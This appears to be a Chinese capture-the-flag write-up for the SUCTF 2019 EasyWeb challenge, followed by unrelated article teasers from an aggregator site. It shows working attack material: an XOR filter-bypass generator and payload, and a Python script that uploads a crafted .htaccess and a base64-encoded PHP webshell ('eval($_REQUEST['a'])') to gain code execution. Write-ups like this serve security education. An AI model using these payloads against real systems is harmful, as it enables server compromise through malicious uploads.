[SUCTF 2019]EasyWeb --不会编程的崽

news2024/12/24 9:56:10

个人认为,这题还算有些东西。先来看源码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

 还是很好理解,首先通过_传参,经过一系列过滤,然后执行参数。这里应该要去调用get_the_flag()函数。这个函数是一个文件上传的功能,首先获取你的ip并生成文件路径,在判断文件后缀是否含有ph(无论大小写),文件内容是否含有<?,在判断文件是否为图片。了解这些后,开始一步步攻破。

1.[\x00- 0-9A-Za-z]:匹配任意ASCII字符,包括数字和大小写字母。

    \'"\~_&.,|=`:匹配特定的字符,包括单引号、双引号、反引号、波浪线、下划线、和符号、逗      号、点号、竖线和等号。

 [\x7F]+:匹配ASCII码为127(十六进制为0x7F)的字符,即删除字符

  过滤了这些大概也能猜到要怎么绕过了吧,就是异或绕过。如果直接构造phpinfo会太长。所以构    造_GET

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=phpinfo

 其实flag已经找到了,哈哈哈

这应该是一个小瑕疵,还是用正常的解法吧。去访问get_the_flag()函数。

?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag

路径是remote_addr的md5值,这就是构造phpinfo的原因。这里就不太方便放出我的真实ip。 

 

访问一下确实存在

到这就要到下一步了,构造数据包。

第一步它过滤了后包含ph的后缀。ctf做多了应该明白了吧。大概率要传.htaccess或者在有php文件的情况下传.user.ini。这里使用htaccess。因为要检测是否为图片。所以头还得加上

#define width 1337
#define height 1337

第二过滤<?。这里使用base64编码绕过

第三,exif_imagetype()是否为图片,使用GIF89a之类的就行。因为要进行base64解码,如果单单只是GIF89a,解码会报错影响后边,所以构造GIF89a12就不会解码报错了。

没有上传入口就使用脚本上传

import requests
import base64

htaccess = b"""#define width 1337
#define height 1337 
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell.txt"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://4ec51500-93fb-4c41-b573-4f0ad09c5c40.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.txt',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

 拿蚁剑连接一下,发现看不了根目录,估计又是disable_function。使用下边这个工具模式绕过它

 可以自己去下载

 

flag就在根目录下边 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1482125.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Node服务器性能分析调优debug

node其实自带提供了性能分析工具&#xff1a;node --profile 但是它分析起来并不是很好用&#xff0c;于是chrome提供了另一种分析和debug工具&#xff1a;Chrome devtool 使用这个工具我们可以分析自己的Node项目调用堆栈里耗时较长的任务&#xff0c;对应去做缓存或者异步调用…

Day10:基础入门-HTTP数据包Postman构造请求方法请求头修改状态码判断

目录 数据-方法&头部&状态码 案例-文件探针 案例-登录爆破 工具-Postman自构造使用 思维导图 章节知识点&#xff1a; 应用架构&#xff1a;Web/APP/云应用/三方服务/负载均衡等 安全产品&#xff1a;CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等 渗透命令&#xff1a;文件…

Facebook广告账户被封的可能原因及应如何避免?

Facebook作为全球最大的社交平台&#xff0c;是众多出海企业和广告主的推广渠道。但不少广告主在使用Facebook广告账户推广时&#xff0c;因各种原因导致账户被封&#xff0c;不仅影响了业务进程&#xff0c;更是给广告主带来了经济损失。 账户被封邮件如下&#xff1a; 以下是…

Dell R730 2U服务器实践2:VMWare ESXi安装

缘起 刚到手边的一台Dell R730是三块硬盘raid0 &#xff0c;把我惊出一身冷汗&#xff0c;准备把它们改组成raid1 或者raid5 。 但是舍不得里面的ESXi 8 &#xff0c;寻找能否把raid0改成raid1 还不掉WSXi的方法&#xff0c;很遗憾没有找到。那样只能重装ESXi了。 ESXi软件下…

Python 画 箱线图

Python 画 箱线图 flyfish 箱线图 其他名字 盒须图 / 箱形图 横向用正态分布看 垂直看 pandas画 import pandas as pdimport seaborn as sns import matplotlib.pyplot as plt import pandas as pddf pd.read_csv(sh300.csv) print("原始数据") print(df.he…

【JVM】聊聊常见的JVM排查工具

JDK工具包 jps 虚拟机进程状况工具 jps是虚拟机进程状况工具&#xff0c;列出正在运行的虚拟机进程&#xff0c;使用 Windows 的任务管理器或 UNIX 的 ps 命令也可以查询&#xff0c;但如果同时启动多个进程&#xff0c;必须依赖 jps。jps -l 显示类名 jps :列出Java程序进程…

循环简介和基本运算符

根据C Primer Plus第五章进行学习 文章目录 循环简介基本运算符 1.赋值运算符&#xff1a;2.加法运算符&#xff1a;3.减法运算符&#xff1a;-2.乘法运算符&#xff1a;*总结 1.循环简介 如下代码可以体现不使用循环的局限性&#xff1a; #include<stdio.h> #define AD…

云天励飞战略投资神州云海,布局机器人市场

日前,AI上市企业云天励飞(688343.SH)完成了对深圳市神州云海智能科技有限公司(以下简称“神州云海”)的B轮战略投资。 公开资料显示,自2015年于深圳创立以来,神州云海始终聚焦人工智能与服务机器人广阔的应用市场,依托自主的核心算法能力,深耕机器人硬件本体研发,整合上下游产…

【机器学习300问】25、常见的模型评估指标有哪些?

模型除了从数据划分的角度来评估&#xff0c;我上一篇文章介绍了数据集划分的角度&#xff1a; 【机器学习300问】24、模型评估的常见方法有哪些&#xff1f;http://t.csdnimg.cn/LRyEt 还可以从一些指标的角度来评估&#xff0c;这篇文章就带大家从两个最经典的任务场景介绍…

微信云开发-- Mac安装 wx-server-sdk依赖

第一次上传部署云函数时&#xff0c;会提示安装依赖wx-server-sdk 一. 判断是否安装wx-server-sdk依赖 先创建一个云函数&#xff0c;然后检查云函数目录。 如果云函数目录下只显示如下图所示三个文件&#xff0c;说明未安装依赖。 如果云函数目录下显示如下图所示四个文件&a…

数电实验之流水灯、序列发生器

最近又用到了数电实验设计的一些操作和设计思想&#xff0c;遂整理之。 广告流水灯 实验内容 用触发器、组合函数器件和门电路设计一个广告流水灯&#xff0c;该流水灯由 8 个 LED 组成&#xff0c;工作时始终为 1 暗 7 亮&#xff0c;且这一个暗灯循环右移。 1) 写出设计过…

吴恩达机器学习笔记:第5周-9 神经网络的学习(Neural Networks: Learning)

目录 9.1 代价函数 9.1 代价函数 首先引入一些便于稍后讨论的新标记方法&#xff1a; 假设神经网络的训练样本有&#x1d45a;个&#xff0c;每个包含一组输入&#x1d465;和一组输出信号&#x1d466;&#xff0c;&#x1d43f;表示神经网络层数&#xff0c;&#x1d446;&…

babylonjs入门-半球光

基于babylonjs封装的一些功能和插件 &#xff0c;希望有更多的小伙伴一起玩babylonjs&#xff1b; 欢迎加群&#xff08;点击群号传送&#xff09;&#xff1a;464146715 官方文档 中文文档 案例传送门 懒得打字 粘贴复制 一气呵成

kubectl 陈述式资源管理方法

目录 陈述式资源管理方法 项目的生命周期 1.创建kubectl create命令 2.发布kubectl expose命令 service的4的基本类型 查看pod网络状态详细信息和 Service暴露的端口 查看关联后端的节点 ​编辑 查看 service 的描述信息 ​编辑在 node01 节点上操作&#xff0c;查看…

3.1 IO进程线程

使用fwrite、fread将一张随意的bmp图片&#xff0c;修改成德国的国旗 #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> int main(int argc, const char *argv[]) {FILE* fp fopen("./2.bmp","r&quo…

用 deforum 来演绎 2024 年的 AI PC:《赛博朋克狂想曲》

想象一下&#xff0c;你不只是坐在屏幕前&#xff0c;还能 “跳” 进去&#xff01;&#xff01;这是只有身处 AI 流行文化时代之下的我们&#xff0c;才能感受到的独特风格。 作者 947&#xff1a; “ 我想通过这个视频&#xff0c;不只是让大家看到一个充满科技的世界&#x…

Java求职技能清单(2024版)

一、Java基础扎实&#xff08;反射、集合、IO、NIO、多线程、设计模式、通信协议等基础技术&#xff09; &#xff08;一&#xff09;Java &#xff08;二&#xff09;网络IO &#xff08;三&#xff09;NIO模型 &#xff08;…

每日leetcode--最大数

正题之前 三玖yyds&#xff01;&#xff01;&#xff01; 题目 给定一组非负整数 nums&#xff0c;重新排列每个数的顺序&#xff08;每个数不可拆分&#xff09;使之组成一个最大的整数。 注意&#xff1a;输出结果可能非常大&#xff0c;所以你需要返回一个字符串而不是整…

ubuntu22.04安裝mysql8.0

官网下载mysql&#xff1a;MySQL :: Download MySQL Community Server 将mysql-server_8.0.20-2ubuntu20.04_amd64.deb-bundle.tar上传到/usr/local/src #解压压缩文件 tar -xvf mysql-server_8.0.20-2ubuntu20.04_amd64.deb-bundle.tar解压依赖包依次输入命令 sudo dpkg -i m…

string【基础篇】

1.1string字符串类 注意&#xff1a;这个类独立于所使用的编码来处理字节:如果用来处理多字节或变长字符(如UTF-8)的序列&#xff0c;这个 类的所有成员(如长度或大小)以及它的迭代器&#xff0c;将仍然按照字节(而不是实际编码的字符)来操作。 总结&#xff1a; string是表…